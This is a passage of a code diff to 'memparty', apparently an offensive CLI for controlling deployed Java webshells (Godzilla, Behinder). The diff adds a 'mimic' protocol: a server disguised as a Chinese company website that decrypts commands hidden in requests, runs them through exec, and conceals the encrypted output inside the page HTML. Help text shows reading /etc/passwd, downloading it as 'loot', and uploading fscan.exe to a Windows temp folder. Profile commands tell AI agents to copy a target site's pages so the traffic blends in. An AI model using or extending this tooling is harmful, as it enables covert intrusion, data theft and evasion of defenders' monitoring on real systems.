+ <title>\u65B0\u95FB\u52A8\u6001 - \u4E91\u67A2\u79D1\u6280</title>
2356
+ </head>
2357
+ <body>
2358
+ <header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
2359
+ <main><h2>\u65B0\u95FB\u52A8\u6001</h2><p>\u4E91\u67A2 ETL 3.2 \u53D1\u5E03\uFF0C\u65B0\u589E\u5B9E\u65F6\u540C\u6B65\u901A\u9053\u3002</p></main>
2360
+ <footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
2361
+ </body>
2362
+ </html>`
2363
+ };
2364
+ var NOT_FOUND = `<!DOCTYPE html>
2365
+ <html lang="zh-CN">
2366
+ <head>
2367
+ <meta charset="UTF-8">
2368
+ <title>\u9875\u9762\u4E0D\u5B58\u5728 - \u4E91\u67A2\u79D1\u6280</title>
2369
+ </head>
2370
+ <body>
2371
+ <header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
2372
+ <main><h2>404</h2><p>\u60A8\u8BBF\u95EE\u7684\u9875\u9762\u4E0D\u5B58\u5728\u3002</p></main>
2373
+ <footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
2374
+ </body>
2375
+ </html>`;
2376
+ var MOCK_HOMEPAGE = PAGES["/"];
2377
+ function runCommand(command, timeoutMs) {
2378
+ return new Promise((resolve2) => {
2379
+ exec(command, { timeout: timeoutMs, windowsHide: true }, (err, stdout, stderr) => {
2380
+ if (err && !stdout && !stderr) {
2381
+ resolve2(`command failed: ${err.message}`);
2382
+ return;
2383
+ }
2384
+ resolve2(stdout + stderr);
2385
+ });
2386
+ });
2387
+ }
2388
+ async function startMimicServer(options = {}) {
2389
+ const pass = options.pass ?? "pass";
2390
+ const secretKey = options.secretKey ?? "key";
2391
+ const aesKey = deriveAesKey(secretKey);
2392
+ const leftMarker = deriveLeftMarker(pass, secretKey);
2393
+ const execTimeoutMs = options.execTimeoutMs ?? 5e3;
2394
+ const skin = PAGES["/"];
2395
+ const server = http2.createServer((req, res) => {
2396
+ if (req.method === "POST") {
2397
+ const chunks = [];
2398
+ req.on("data", (c) => chunks.push(c));
2399
+ req.on("end", () => {
2400
+ let command = decodeRequestBody(Buffer.concat(chunks), pass, aesKey);
2401
+ if (command === null) {
2402
+ const query = new URL(req.url ?? "/", "http://x").searchParams.get(pass);
2403
+ if (query) command = tryDecrypt(query, aesKey);
2404
+ }
2405
+ if (command === null) {
2406
+ const header = req.headers[pass.toLowerCase()];
2407
+ if (typeof header === "string") command = tryDecrypt(header, aesKey);
2408
+ }
2409
+ if (command === null) {
2410
+ res.writeHead(404, { "Content-Type": "text/html; charset=utf-8" });
2411
+ res.end(NOT_FOUND);
2412
+ return;
2413
+ }
2414
+ void runCommand(command.toString("utf8"), execTimeoutMs).then((output) => {
2415
+ const b64 = encryptField(Buffer.from(output, "utf8"), aesKey);
2416
+ res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
2417
+ res.end(injectIntoTemplate(skin, b64, leftMarker));
2418
+ });
2419
+ });
2420
+ return;
2421
+ }
2422
+ const page = PAGES[req.url ?? "/"] ?? NOT_FOUND;
2423
+ res.writeHead(PAGES[req.url ?? "/"] ? 200 : 404, {
2424
+ "Content-Type": "text/html; charset=utf-8"
2425
+ });
2426
+ res.end(page);
2427
+ });
2428
+ await new Promise((resolve2) => server.listen(0, "127.0.0.1", resolve2));
2429
+ const { port } = server.address();
2430
+ return {
2431
+ url: `http://127.0.0.1:${port}/`,
2432
+ port,
2433
+ close: () => new Promise((resolve2) => server.close(() => resolve2()))
2434
+ };
2435
+ }
2436
+
2437
+ // src/commands/demo.ts
2438
+ function demoProfile(site) {
2439
+ return {
2440
+ name: "demo",
2441
+ site,
2442
+ createdAt: (/* @__PURE__ */ new Date()).toISOString(),
2443
+ templates: [
2444
+ {
2445
+ title: "\u4E91\u67A2\u79D1\u6280 - \u4F01\u4E1A\u6570\u5B57\u5316\u670D\u52A1\u5546",
2446
+ template: MOCK_HOMEPAGE,
2447
+ contentType: "text/html; charset=utf-8"
2448
+ }
2449
+ ],
2450
+ paths: ["/products/", "/news/", "/about/"]
2451
+ };
2452
+ }
2453
+ function registerDemoCommand(program) {
2454
+ program.command("demo").description(
2455
+ "Run the mimic protocol end-to-end locally: fake business site + profile + connect + one exec (no external traffic)"
2456
+ ).option("--cmd <command>", "command to execute on the fake target", "whoami").option("--json", "output raw JSON").addHelpText(
2457
+ "after",
2458
+ `
2459
+ This is the reference walk-through for the mimic plugin:
2460
+ 1. starts a fake business site on 127.0.0.1 (a mimic shell hides in it)
2461
+ 2. loads a hand-written site profile (in real engagements the operator
2462
+ or AI agent writes it \u2014 see 'memparty profile init')
2463
+ 3. 'connect' does a credential round-trip using a dynamic path
2464
+ 4. 'exec' runs --cmd through the same channel
2465
+ Watch the printed request URL in step 3/4: it changes every run.
2466
+ `
2467
+ ).action(async (opts, cmd) => {
2468
+ const globals = cmd.optsWithGlobals();
2469
+ const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10);
2470
+ const log = (line) => {
2471
+ if (!opts.json) process.stdout.write(`${line}
2472
+ `);
2473
+ };
2474
+ const server = await startMimicServer();
2475
+ try {
2476
+ log(`[1/4] fake business site up at ${server.url}`);
2477
+ const profile = demoProfile(server.url.replace(/\/+$/, ""));
2478
+ saveProfile(profile);
2479
+ log(
2480
+ `[2/4] profile 'demo' loaded: title=${JSON.stringify(profile.templates[0].title)}, paths=[${profile.paths.join(", ")}], templates=${profile.templates.length}`
2481
+ );
2482
+ const protocol = getProtocol("mimic");
2483
+ const conn = {
2484
+ url: server.url,
2485
+ tool: "mimic",
2486
+ pass: "pass",
2487
+ key: "key",
2488
+ extraHeaders: {},
2489
+ profile: "demo"
2490
+ };
2491
+ const common = { timeoutMs };
2492
+ const options = { profile: "demo", dynamicPath: true };
2493
+ const test = await protocol.test({ conn, common, options });
2494
+ if (!test.ok) throw new Error(`connect failed: ${test.error}`);
2495
+ log(`[3/4] connect ok \u2014 ${test.detail}`);
2496
+ const result = await protocol.exec({ conn, common, options }, opts.cmd);
2497
+ if (!result.ok) throw new Error(`exec failed: ${result.error}`);
2498
+ log(`[4/4] exec ok \u2014 ${JSON.stringify(opts.cmd)} output:`);
2499
+ if (opts.json) {
2500
+ process.stdout.write(
2501
+ `${JSON.stringify({ ok: true, profile, test, exec: result }, null, 2)}
2502
+ `
2503
+ );
2504
+ } else {
2505
+ process.stdout.write(`${result.output ?? ""}`);
2506
+ if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n");
2507
+ }
2508
+ } catch (err) {
2509
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
2510
+ process.exitCode = 1;
2511
+ } finally {
2512
+ await server.close();
2513
+ }
2514
+ });
2515
+ }
2516
+
1880
2517
  // src/commands/exec.ts
1881
2518
  import { Option as Option2 } from "commander";
1882
2519
  function parseExtraHeaders2(lines) {
@@ -1892,10 +2529,10 @@ function parseExtraHeaders2(lines) {
1892
2529
  }
1893
2530
  function registerExecCommand(program) {
1894
2531
  program.command("exec").description(
1895
- "Execute a command on a deployed webshell (Godzilla / Behinder) and print its output"
2532
+ "Execute a command on a deployed webshell and print its output"
1896
2533
  ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
1897
- new Option2("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
1898
- ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").addOption(
2534
+ new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
2535
+ ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key", "key").addOption(
1899
2536
  new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
1900
2537
  ).option(
1901
2538
  "--header-name <name>",
@@ -1903,14 +2540,14 @@ function registerExecCommand(program) {
1903
2540
  ).option(
1904
2541
  "--header-value <value>",
1905
2542
  "gate header value reported by gen (shellToolConfig.headerValue)"
1906
- ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
2543
+ ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
1907
2544
  "after",
1908
2545
  `
1909
2546
  Examples:
1910
2547
  $ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key \\
1911
- --header-value qSGAJScj --cmd "whoami"
2548
+ --header-value my-secret-token --cmd "whoami"
1912
2549
  $ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond \\
1913
- --header-value YdwTyuQr --cmd "cat /etc/passwd"
2550
+ --header-value my-secret-token --cmd "cat /etc/passwd"
1914
2551
  $ memparty exec web222 --cmd "whoami" # saved target, see 'memparty list'
1915
2552
  $ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\
1916
2553
  --cmd "ipconfig /all" --json
@@ -1932,7 +2569,8 @@ the OS inside its payload, so --os does not apply.
1932
2569
  headerName: opts.headerName,
1933
2570
  headerValue: opts.headerValue,
1934
2571
  extraHeaders: parseExtraHeaders2(opts.header),
1935
- insecure: opts.insecure
2572
+ insecure: opts.insecure,
2573
+ profile: opts.profile
1936
2574
  });
1937
2575
  } catch (err) {
1938
2576
  reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -1947,28 +2585,23 @@ the OS inside its payload, so --os does not apply.
1947
2585
  insecure: conn.insecure
1948
2586
  };
1949
2587
  let result;
1950
- switch (conn.tool) {
1951
- case "godzilla": {
1952
- const gdzOpts = { ...common, os: opts.os };
1953
- result = await execGodzilla(
1954
- conn.url,
1955
- conn.pass ?? "pass",
1956
- conn.key ?? "key",
1957
- opts.cmd,
1958
- gdzOpts
1959
- );
1960
- break;
1961
- }
1962
- case "behinder":
1963
- result = await execBehinder(conn.url, conn.pass ?? "rebeyond", opts.cmd, common);
1964
- break;
1965
- default:
1966
- process.stderr.write(
1967
- `Error: exec supports godzilla | behinder (got ${String(conn.tool)})
1968
- `
1969
- );
2588
+ try {
2589
+ const protocol = requireProtocol(conn.tool);
2590
+ if (!protocol.exec) {
2591
+ reportError(unsupportedMessage(protocol, "exec"), opts.json ? ["--json"] : []);
1970
2592
  process.exitCode = 1;
1971
2593
  return;
2594
+ }
2595
+ const options = {
2596
+ os: opts.os,
2597
+ profile: conn.profile,
2598
+ dynamicPath: opts.dynamicPath
2599
+ };
2600
+ result = await protocol.exec({ conn, common, options }, opts.cmd);
2601
+ } catch (err) {
2602
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
2603
+ process.exitCode = 1;
2604
+ return;
1972
2605
  }
1973
2606
  let savedAs;
1974
2607
  if (result.ok && conn.targetName === void 0 && opts.save !== false) {
@@ -2008,11 +2641,11 @@ the OS inside its payload, so --os does not apply.
2008
2641
  }
2009
2642
 
2010
2643
  // src/commands/gen.ts
2011
- import { readFileSync as readFileSync5 } from "fs";
2644
+ import { readFileSync as readFileSync6 } from "fs";
2012
2645
  import { Option as Option3 } from "commander";
2013
2646
 
2014
2647
  // src/core/output.ts
2015
- import { writeFileSync as writeFileSync2 } from "fs";
2648
+ import { writeFileSync as writeFileSync3 } from "fs";
2016
2649
  var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
2017
2650
  function hasBinaryExtension(path) {
2018
2651
  const lower = path.toLowerCase();
@@ -2024,7 +2657,7 @@ function shouldDecode(opts) {
2024
2657
  return false;
2025
2658
  }
2026
2659
  function emitPayload(payload, opts, sinks = {}) {
2027
- const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync2(p, d));
2660
+ const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync3(p, d));
2028
2661
  const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
2029
2662
  const decoded = shouldDecode(opts);
2030
2663
  if (opts.outFile) {
@@ -2047,7 +2680,7 @@ function emitPayload(payload, opts, sinks = {}) {
2047
2680
  }
2048
2681
 
2049
2682
  // src/core/request-builder.ts
2050
- import { randomInt } from "crypto";
2683
+ import { randomInt as randomInt3 } from "crypto";
2051
2684
 
2052
2685
  // src/core/jdk.ts
2053
2686
  var JDK_VERSIONS = {
@@ -2084,7 +2717,7 @@ var SPRING_GZIP_JDK17_RELATED_PACKERS = /* @__PURE__ */ new Set([
2084
2717
  var UPPERCASE_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
2085
2718
  var CLASS_NAME_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
2086
2719
  function randomChar(chars) {
2087
- return chars[randomInt(chars.length)];
2720
+ return chars[randomInt3(chars.length)];
2088
2721
  }
2089
2722
  function generateSpringExpressionInjectorClassName() {
2090
2723
  const randomName = Array.from({ length: 5 }, () => randomChar(CLASS_NAME_LETTERS)).join("");
@@ -2153,7 +2786,7 @@ function buildProbeRequest(opts) {
2153
2786
  }
2154
2787
 
2155
2788
  // src/wizard/memshell-wizard.ts
2156
- import { readFileSync as readFileSync4 } from "fs";
2789
+ import { readFileSync as readFileSync5 } from "fs";
2157
2790
  import { checkbox, confirm, input, select, Separator } from "@inquirer/prompts";
2158
2791
  var JDK_CHOICES = [
2159
2792
  { name: "server default", value: "" },
@@ -2221,7 +2854,7 @@ async function runMemShellWizard(client) {
2221
2854
  }
2222
2855
  case "Custom": {
2223
2856
  const file = await input({ message: "Path to custom .class file" });
2224
- opts.shellClassBase64 = readFileSync4(file).toString("base64");
2857
+ opts.shellClassBase64 = readFileSync5(file).toString("base64");
2225
2858
  break;
2226
2859
  }
2227
2860
  default:
@@ -2262,7 +2895,7 @@ var REQUIRED = ["server", "tool", "type", "packer"];
2262
2895
  function toOptions(o) {
2263
2896
  let shellClassBase64 = o.shellClassBase64;
2264
2897
  if (o.shellClassFile) {
2265
- shellClassBase64 = readFileSync5(o.shellClassFile).toString("base64");
2898
+ shellClassBase64 = readFileSync6(o.shellClassFile).toString("base64");
2266
2899
  }
2267
2900
  return {
2268
2901
  server: o.server,
@@ -2416,8 +3049,8 @@ Examples:
2416
3049
  $ memparty log # latest 50 operations
2417
3050
  $ memparty log --category exec # only command executions
2418
3051
  $ memparty log --category save # only target saves
2419
- $ memparty log --target hw222 # everything against project hw222
2420
- $ memparty log --category exec --target 192.168.31.222 --json
3052
+ $ memparty log --target web1 # everything against project web1
3053
+ $ memparty log --category exec --target 192.0.2.10 --json
2421
3054
  `
2422
3055
  ).action((opts) => {
2423
3056
  const limit = Number.parseInt(opts.limit ?? "50", 10);
@@ -2446,12 +3079,12 @@ Examples:
2446
3079
  // src/mcp/server.ts
2447
3080
  import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
2448
3081
  import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
2449
- import { writeFileSync as writeFileSync3 } from "fs";
3082
+ import { writeFileSync as writeFileSync4 } from "fs";
2450
3083
  import { z } from "zod";
2451
3084
 
2452
3085
  // src/core/localfile.ts
2453
- import { existsSync as existsSync3, readFileSync as readFileSync6, statSync } from "fs";
2454
- import { dirname as dirname3, join as join4, resolve } from "path";
3086
+ import { existsSync as existsSync4, readFileSync as readFileSync7, statSync } from "fs";
3087
+ import { dirname as dirname3, join as join5, resolve } from "path";
2455
3088
  var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
2456
3089
  function remoteBasename(remotePath) {
2457
3090
  const trimmed = remotePath.replace(/[/\\]+$/, "");
@@ -2468,18 +3101,18 @@ function resolveDownloadPath(remotePath, localArg, force) {
2468
3101
  );
2469
3102
  }
2470
3103
  target = name;
2471
- } else if (existsSync3(localArg) && statSync(localArg).isDirectory()) {
3104
+ } else if (existsSync4(localArg) && statSync(localArg).isDirectory()) {
2472
3105
  if (!name) {
2473
3106
  throw new Error(
2474
3107
  `cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o with a file path`
2475
3108
  );
2476
3109
  }
2477
- target = join4(localArg, name);
3110
+ target = join5(localArg, name);
2478
3111
  } else {
2479
3112
  target = localArg;
2480
3113
  }
2481
3114
  const abs = resolve(target);
2482
- if (existsSync3(abs)) {
3115
+ if (existsSync4(abs)) {
2483
3116
  if (statSync(abs).isDirectory()) {
2484
3117
  throw new Error(`local path ${target} is a directory \u2014 pass -o with a file path`);
2485
3118
  }
@@ -2488,13 +3121,13 @@ function resolveDownloadPath(remotePath, localArg, force) {
2488
3121
  }
2489
3122
  }
2490
3123
  const parent = dirname3(abs);
2491
- if (!existsSync3(parent) || !statSync(parent).isDirectory()) {
3124
+ if (!existsSync4(parent) || !statSync(parent).isDirectory()) {
2492
3125
  throw new Error(`local directory ${parent} does not exist`);
2493
3126
  }
2494
3127
  return abs;
2495
3128
  }
2496
3129
  function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
2497
- if (!existsSync3(localPath)) {
3130
+ if (!existsSync4(localPath)) {
2498
3131
  throw new Error(`local file ${localPath} does not exist`);
2499
3132
  }
2500
3133
  const stat = statSync(localPath);
@@ -2506,7 +3139,7 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
2506
3139
  `local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
2507
3140
  );
2508
3141
  }
2509
- return readFileSync6(localPath);
3142
+ return readFileSync7(localPath);
2510
3143
  }
2511
3144
 
2512
3145
  // src/version.ts
@@ -2979,7 +3612,7 @@ function createMcpServer(client) {
2979
3612
  }
2980
3613
  if (result.ok && result.data !== void 0) {
2981
3614
  try {
2982
- writeFileSync3(localPath, result.data);
3615
+ writeFileSync4(localPath, result.data);
2983
3616
  } catch (err) {
2984
3617
  result = {
2985
3618
  ...result,
@@ -3272,7 +3905,7 @@ function registerMcpCommand(program) {
3272
3905
  }
3273
3906
 
3274
3907
  // src/commands/parse-classname.ts
3275
- import { readFileSync as readFileSync7 } from "fs";
3908
+ import { readFileSync as readFileSync8 } from "fs";
3276
3909
  function registerParseClassNameCommand(program) {
3277
3910
  program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
3278
3911
  "after",
@@ -3285,7 +3918,7 @@ Examples:
3285
3918
  ).action(async (base64, opts, cmd) => {
3286
3919
  let classBase64;
3287
3920
  if (opts.file) {
3288
- classBase64 = readFileSync7(opts.file).toString("base64");
3921
+ classBase64 = readFileSync8(opts.file).toString("base64");
3289
3922
  } else if (base64) {
3290
3923
  classBase64 = base64.trim();
3291
3924
  } else {
@@ -3490,6 +4123,88 @@ The server name reported by '-c Server' is the value to pass as
3490
4123
  });
3491
4124
  }
3492
4125
 
4126
+ // src/commands/profile.ts
4127
+ function registerProfileCommand(program) {
4128
+ const cmd = program.command("profile").description("Manage site profiles for the mimic protocol (init / list / show / check)");
4129
+ cmd.command("init").description("Write a skeleton profile JSON for hand-authoring").argument("<name>", "profile name (letters, digits, '.', '_', '-')").requiredOption("--site <origin>", "site origin, e.g. http://target:8080").option("--json", "output raw JSON").action((name, opts) => {
4130
+ try {
4131
+ const profile = profileSkeleton(name, opts.site);
4132
+ saveProfile(profile);
4133
+ if (opts.json) {
4134
+ process.stdout.write(`${JSON.stringify({ ok: true, ...profile }, null, 2)}
4135
+ `);
4136
+ } else {
4137
+ process.stdout.write(
4138
+ `profile skeleton written -> ${profilePath(name)}
4139
+ now edit it: paste a real page's HTML into "template", set "title",
4140
+ and fill "paths" with the site's path vocabulary (e.g. ["/api/", "/news/"]).
4141
+ AI agents: read the site's pages yourself and pick a high-traffic,
4142
+ self-contained page \u2014 see the "Site-mimicking traffic (mimic protocol)"
4143
+ section of the memshell-party skill.
4144
+ `
4145
+ );
4146
+ }
4147
+ } catch (err) {
4148
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
4149
+ process.exitCode = 1;
4150
+ }
4151
+ });
4152
+ cmd.command("list").description("List saved profiles").option("--json", "output raw JSON").action((opts) => {
4153
+ const names = listProfiles();
4154
+ if (opts.json) {
4155
+ process.stdout.write(`${JSON.stringify({ profiles: names }, null, 2)}
4156
+ `);
4157
+ } else {
4158
+ process.stdout.write(names.length > 0 ? `${names.join("\n")}
4159
+ ` : "(no profiles yet)\n");
4160
+ }
4161
+ });
4162
+ cmd.command("show").description("Print a saved profile").argument("<name>", "profile name").option("--json", "output raw JSON (default)").action((name) => {
4163
+ try {
4164
+ const profile = loadProfile(name);
4165
+ process.stdout.write(`${JSON.stringify(profile, null, 2)}
4166
+ `);
4167
+ } catch (err) {
4168
+ reportError(err instanceof Error ? err.message : String(err), []);
4169
+ process.exitCode = 1;
4170
+ }
4171
+ });
4172
+ cmd.command("check").description("Validate a saved profile (schema + basic sanity), exit 0 when valid").argument("<name>", "profile name").option("--json", "output raw JSON").addHelpText(
4173
+ "after",
4174
+ `
4175
+ Examples:
4176
+ $ memparty profile check acme
4177
+ $ memparty profile check acme --json
4178
+ `
4179
+ ).action((name, opts) => {
4180
+ try {
4181
+ const profile = loadProfile(name);
4182
+ if (opts.json) {
4183
+ process.stdout.write(`${JSON.stringify({ ok: true, name }, null, 2)}
4184
+ `);
4185
+ } else {
4186
+ const templates = profileTemplates(profile);
4187
+ const lines = templates.map(
4188
+ (t, i) => ` tpl[${i}]: ${t.template.length} bytes (${t.contentType}) ${t.title || "(no title)"}`
4189
+ );
4190
+ const shapes = profileRequests(profile).map((r) => `${r.secretField}${r.secretIn && r.secretIn !== "body" ? ` (${r.secretIn})` : ""}`).join(", ");
4191
+ const requestLine = shapes ? ` request: ${shapes}
4192
+ ` : "";
4193
+ process.stdout.write(
4194
+ `profile '${name}' is valid
4195
+ site: ${profile.site}
4196
+ ${lines.join("\n")}
4197
+ ` + requestLine + ` paths: ${profile.paths.join(" ") || "(none \u2014 --dynamic-path will be a no-op)"}
4198
+ `
4199
+ );
4200
+ }
4201
+ } catch (err) {
4202
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
4203
+ process.exitCode = 1;
4204
+ }
4205
+ });
4206
+ }
4207
+
3493
4208
  // src/commands/target.ts
3494
4209
  import { Option as Option6 } from "commander";
3495
4210
  function parseExtraHeaders3(lines) {
@@ -3546,11 +4261,11 @@ function registerTargetCommand(program) {
3546
4261
  "after",
3547
4262
  `
3548
4263
  Examples:
3549
- $ memparty save hw222/bh9060 -u http://192.168.31.222:9060/console/service \\
3550
- -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \\
4264
+ $ memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \\
4265
+ -t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \\
3551
4266
  --remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
3552
4267
  $ memparty list # show saved targets
3553
- $ memparty exec hw222/bh9060 --cmd "whoami"
4268
+ $ memparty exec web1/bh9060 --cmd "whoami"
3554
4269
 
3555
4270
  Note: connect/exec already auto-save a verified shell as <host>/<tool>;
3556
4271
  save is for choosing the name by hand.
@@ -3687,7 +4402,7 @@ save is for choosing the name by hand.
3687
4402
  }
3688
4403
 
3689
4404
  // src/commands/transfer.ts
3690
- import { writeFileSync as writeFileSync4 } from "fs";
4405
+ import { writeFileSync as writeFileSync5 } from "fs";
3691
4406
  import { Option as Option7 } from "commander";
3692
4407
  function parseExtraHeaders4(lines) {
3693
4408
  const headers = {};
@@ -3759,8 +4474,8 @@ function printResult(result, localPath, savedAs, json) {
3759
4474
  }
3760
4475
  }
3761
4476
  function registerDownloadCommand(program) {
3762
- program.command("download").description("Download a file from a deployed webshell (Godzilla / Behinder)").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
3763
- new Option7("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
4477
+ program.command("download").description("Download a file from a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
4478
+ new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
3764
4479
  ).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
3765
4480
  "--remote-charset <label>",
3766
4481
  "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
@@ -3775,7 +4490,7 @@ function registerDownloadCommand(program) {
3775
4490
  `
3776
4491
  Examples:
3777
4492
  $ memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \\
3778
- --header-value qSGAJScj /etc/passwd -o loot-passwd
4493
+ --header-value my-secret-token /etc/passwd -o loot-passwd
3779
4494
  $ memparty download web222 C:\\Windows\\win.ini # saved target
3780
4495
  $ memparty download web222 /var/log/app.log -o logs/ --json
3781
4496
 
@@ -3809,31 +4524,24 @@ is never overwritten unless --force is given.
3809
4524
  return;
3810
4525
  }
3811
4526
  let result;
3812
- switch (conn.tool) {
3813
- case "godzilla":
3814
- result = await downloadGodzilla(
3815
- conn.url,
3816
- conn.pass ?? "pass",
3817
- conn.key ?? "key",
3818
- remotePath,
3819
- { ...common, remoteCharset: opts.remoteCharset }
3820
- );
3821
- break;
3822
- case "behinder":
3823
- result = await downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common);
3824
- break;
3825
- default:
3826
- process.stderr.write(
3827
- `Error: download supports godzilla | behinder (got ${String(conn.tool)})
3828
- `
3829
- );
4527
+ try {
4528
+ const protocol = requireProtocol(conn.tool);
4529
+ if (!protocol.download) {
4530
+ reportError(unsupportedMessage(protocol, "download"), opts.json ? ["--json"] : []);
3830
4531
  process.exitCode = 1;
3831
4532
  return;
4533
+ }
4534
+ const options = { remoteCharset: opts.remoteCharset };
4535
+ result = await protocol.download({ conn, common, options }, remotePath);
4536
+ } catch (err) {
4537
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
4538
+ process.exitCode = 1;
4539
+ return;
3832
4540
  }
3833
4541
  let writeError;
3834
4542
  if (result.ok && result.data !== void 0) {
3835
4543
  try {
3836
- writeFileSync4(localPath, result.data);
4544
+ writeFileSync5(localPath, result.data);
3837
4545
  } catch (err) {
3838
4546
  writeError = `download succeeded but writing ${localPath} failed: ${err instanceof Error ? err.message : String(err)}`;
3839
4547
  result = { ...result, ok: false, error: writeError };
@@ -3857,8 +4565,8 @@ is never overwritten unless --force is given.
3857
4565
  });
3858
4566
  }
3859
4567
  function registerUploadCommand(program) {
3860
- program.command("upload").description("Upload a local file to a deployed webshell (Godzilla / Behinder)").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
3861
- new Option7("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
4568
+ program.command("upload").description("Upload a local file to a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
4569
+ new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
3862
4570
  ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
3863
4571
  "--remote-charset <label>",
3864
4572
  "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
@@ -3873,7 +4581,7 @@ function registerUploadCommand(program) {
3873
4581
  `
3874
4582
  Examples:
3875
4583
  $ memparty upload -u http://target/shell.jsp -t behinder --pass rebeyond \\
3876
- --header-value YdwTyuQr fscan.exe C:\\Windows\\Temp\\f.exe
4584
+ --header-value my-secret-token fscan.exe C:\\Windows\\Temp\\f.exe
3877
4585
  $ memparty upload web222 ./agent.jar /tmp/agent.jar --json
3878
4586
 
3879
4587
  Upload overwrites the remote file (truncate + write). Integrity: godzilla
@@ -3908,27 +4616,19 @@ chunk aborts the transfer \u2014 the remote file may be left partial.
3908
4616
  return;
3909
4617
  }
3910
4618
  let result;
3911
- switch (conn.tool) {
3912
- case "godzilla":
3913
- result = await uploadGodzilla(
3914
- conn.url,
3915
- conn.pass ?? "pass",
3916
- conn.key ?? "key",
3917
- remotePath,
3918
- data,
3919
- { ...common, remoteCharset: opts.remoteCharset }
3920
- );
3921
- break;
3922
- case "behinder":
3923
- result = await uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common);
3924
- break;
3925
- default:
3926
- process.stderr.write(
3927
- `Error: upload supports godzilla | behinder (got ${String(conn.tool)})
3928
- `
3929
- );
4619
+ try {
4620
+ const protocol = requireProtocol(conn.tool);
4621
+ if (!protocol.upload) {
4622
+ reportError(unsupportedMessage(protocol, "upload"), opts.json ? ["--json"] : []);
3930
4623
  process.exitCode = 1;
3931
4624
  return;
4625
+ }
4626
+ const options = { remoteCharset: opts.remoteCharset };
4627
+ result = await protocol.upload({ conn, common, options }, remotePath, data);
4628
+ } catch (err) {
4629
